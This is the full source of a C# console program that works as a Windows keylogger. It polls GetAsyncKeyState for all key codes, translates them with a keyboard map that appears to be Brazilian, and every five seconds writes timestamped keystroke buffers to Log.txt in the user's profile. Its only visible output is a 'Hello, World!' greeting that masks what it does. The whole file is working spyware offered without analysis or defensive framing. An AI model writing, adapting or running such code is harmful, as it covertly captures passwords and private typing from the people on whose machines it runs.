namespace project1;

using System.Runtime.InteropServices;
using System.Timers;

internal class Program
{
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(Int32 i);
    private static string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Log.txt";
    private static string buffer = "";

    static void Main(string[] args)
    {
        Timer t = new Timer();
        t.Interval = 5000;
        t.AutoReset = true;
        t.Elapsed += T_Elapsed;
        t.Enabled = true;


        Console.Write("Hello, World!");
        while (true)
        {
            Thread.Sleep(10);

            for (int i = 0; i < 255; i++)
            {
                int keyState = GetAsyncKeyState(i);
                if (keyState == 1 || keyState == -32767 || keyState == 32769)
                {
                    buffer += normalizeKey(i);
                }
            }
        }

    }

    private static void T_Elapsed(object? sender, ElapsedEventArgs e)
    {
        var myBuffer = buffer;
        buffer = "";

        if (!string.IsNullOrEmpty(myBuffer))
        {
            using (var file = new StreamWriter(path, true))
            {
                file.AutoFlush = false;
                file.WriteLine(DateTime.Now);
                file.WriteLine(myBuffer);
                Console.Write(":) ");
            }
        }
    }

    private static string normalizeKey(int code)
    {
        switch (code)
        {
            case 8: return "[Back]";
            case 9: return "[TAB]";
            case 13: return "[Enter]";
            case 19: return "[Pause]";
            case 20: return "[Caps Lock]";
            case 27: return "[Esc]";
            case 32: return "[Space]";
            case 33: return "[Page Up]";
            case 34: return "[Page Down]";
            case 35: return "[End]";
            case 36: return "[Home]";
            case 37: return "[Left]";
            case 38: return "[Up]";
            case 39: return "[Right]";
            case 40: return "[Down]";
            case 44: return "[Print Screen]";
            case 45: return "[Insert]";
            case 46: return "[Delete]";
            case 48: return "0";
            case 49: return "1";
            case 50: return "2";
            case 51: return "3";
            case 52: return "4";
            case 53: return "5";
            case 54: return "6";
            case 55: return "7";
            case 56: return "8";
            case 57: return "9";
            case 65: return "a";
            case 66: return "b";
            case 67: return "c";
            case 68: return "d";
            case 69: return "e";
            case 70: return "f";
            case 71: return "g";
            case 72: return "h";
            case 73: return "i";
            case 74: return "j";
            case 75: return "k";
            case 76: return "l";
            case 77: return "m";
            case 78: return "n";
            case 79: return "o";
            case 80: return "p";
            case 81: return "q";
            case 82: return "r";
            case 83: return "s";
            case 84: return "t";
            case 85: return "u";
            case 86: return "v";
            case 87: return "w";
            case 88: return "x";
            case 89: return "y";
            case 90: return "z";
            case 91: return "[Windows]";
            case 92: return "[Windows]";
            case 93: return "[List]";
            case 96: return "0";
            case 97: return "1";
            case 98: return "2";
            case 99: return "3";
            case 100: return "4";
            case 101: return "5";
            case 102: return "6";
            case 103: return "7";
            case 104: return "8";
            case 105: return "9";
            case 106: return "*";
            case 107: return "+";
            case 109: return "-";
            case 110: return ",";
            case 111: return "/";
            case 112: return "[F1]";
            case 113: return "[F2]";
            case 114: return "[F3]";
            case 115: return "[F4]";
            case 116: return "[F5]";
            case 117: return "[F6]";
            case 118: return "[F7]";
            case 119: return "[F8]";
            case 120: return "[F9]";
            case 121: return "[F10]";
            case 122: return "[F11]";
            case 123: return "[F12]";
            case 144: return "[Num Lock]";
            case 145: return "[Scroll Lock]";
            case 160: return "[Shift]";
            case 161: return "[Shift]";
            case 162: return "[Ctrl]";
            case 163: return "[Ctrl]";
            case 164: return "[Alt]";
            case 165: return "[Alt]";
            case 187: return "=";
            case 186: return "ç";
            case 188: return ",";
            case 189: return "-";
            case 190: return ".";
            case 192: return "'";
            case 191: return ";";
            case 193: return "/";
            case 194: return ".";
            case 219: return "´";
            case 220: return "]";
            case 221: return "[";
            case 222: return "~";
            case 226: return "\\";

            default:
                return "[" + code + "]";
        }
    }
}